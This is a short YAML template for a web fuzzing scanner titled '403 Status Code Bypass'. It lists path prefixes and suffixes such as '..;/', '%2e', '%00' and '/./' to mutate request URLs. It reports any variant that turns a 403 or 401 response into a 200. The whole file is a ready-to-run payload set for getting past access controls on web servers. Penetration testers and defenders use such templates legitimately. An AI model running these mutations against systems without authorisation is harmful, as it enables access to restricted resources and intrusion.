403Bypass.yaml

id: 403-Status-Bypass
type: fuzz
info:
  Author: Gocha Okradze
  name: 403 Status Code Bypass
  risk: High
  
params:
  - root: "{{.URL}}"

origin:
  method: GET
  redirect: false
  headers:
    - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
  url: >-
    {{.root}}


variables:
  - prefix: |
        %20
        %2e
        ./
        /./
        /
        //
        ..;/
      
  - sufix: |
        %20
        %09
        ./
        /./
        //
        /
        /*
        /.
        ?
        ??
        &
        %23
        ???
        /%25
        /.dummy
        .json
        /dummy/..;/
        ..;/
        %00
        %0d
        %3f
        %26
  
payloads:
  - \[\[.original\]\]
  
requests:
  - generators:
      - Path("{{.prefix}}{{.payload}}{{.sufix}}","last")
      - Path("{{.payload}}{{.sufix}}", "last")
    detections:
      - Diff() && StatusCode() == 200 && (OriginStatusCode() == 403 || OriginStatusCode() == 401)